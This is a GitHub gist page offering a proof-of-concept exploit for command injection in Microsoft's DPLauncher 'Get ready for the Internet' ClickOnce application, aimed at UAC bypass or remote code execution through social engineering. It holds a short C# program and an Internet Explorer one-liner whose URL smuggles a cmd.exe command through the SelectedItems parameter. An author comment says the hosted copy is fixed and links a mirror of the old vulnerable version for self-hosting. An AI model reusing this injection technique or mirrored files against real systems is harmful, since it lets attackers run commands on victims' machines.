Skip to content

Instantly share code, notes, and snippets.

@Wack0

Wack0/programmatic_poc.cs

Last active December 14, 2016 19:28
Show Gist options
  • Star 10 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save Wack0/d21b38fae0d5d94e9d30773a7ebb06c1 to your computer and use it in GitHub Desktop.
Save Wack0/d21b38fae0d5d94e9d30773a7ebb06c1 to your computer and use it in GitHub Desktop.
Download ZIP
Command injection in MS' One Step / DPLauncher / "Get ready for the Internet" application, for UAC / RCE through social engineering using MS signed exe / clickonce.
Raw
programmatic_poc.cs
using System;
using System.Runtime.InteropServices;
class DPPwned {
[DllImport("dfshim.dll")]
public static extern int LaunchApplication([MarshalAs(UnmanagedType.LPWStr)] string deploymentUrl,int data,int flags);
public static void Main() {
LaunchApplication("https://onestepfreinstaller.blob.core.windows.net/installer/DPLauncher.application?SelectedItems=%22+%2FC%3A%22cmd.exe+%2Fk+echo+pwned+%26%26+rem+",0,0);
}
}
Raw
run_poc.txt
iexplore https://onestepfreinstaller.blob.core.windows.net/installer/DPLauncher.application?SelectedItems=%22+%2FC%3A%22cmd.exe+%2Fk+echo+pwned+%26%26+rem+
Also works in Edge!
Mirror of the files: http://lucasm.cf/?zmnlz
@Wack0
Copy link
Author

Wack0 commented Oct 22, 2016

Please note that the version of DPLauncher on onestepfreinstaller.blob.core.windows.net has now been fixed. Exploitation will now require hosting the files yourself. Here's a mirror of the old version: http://lucasm.cf/?zmnlz

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment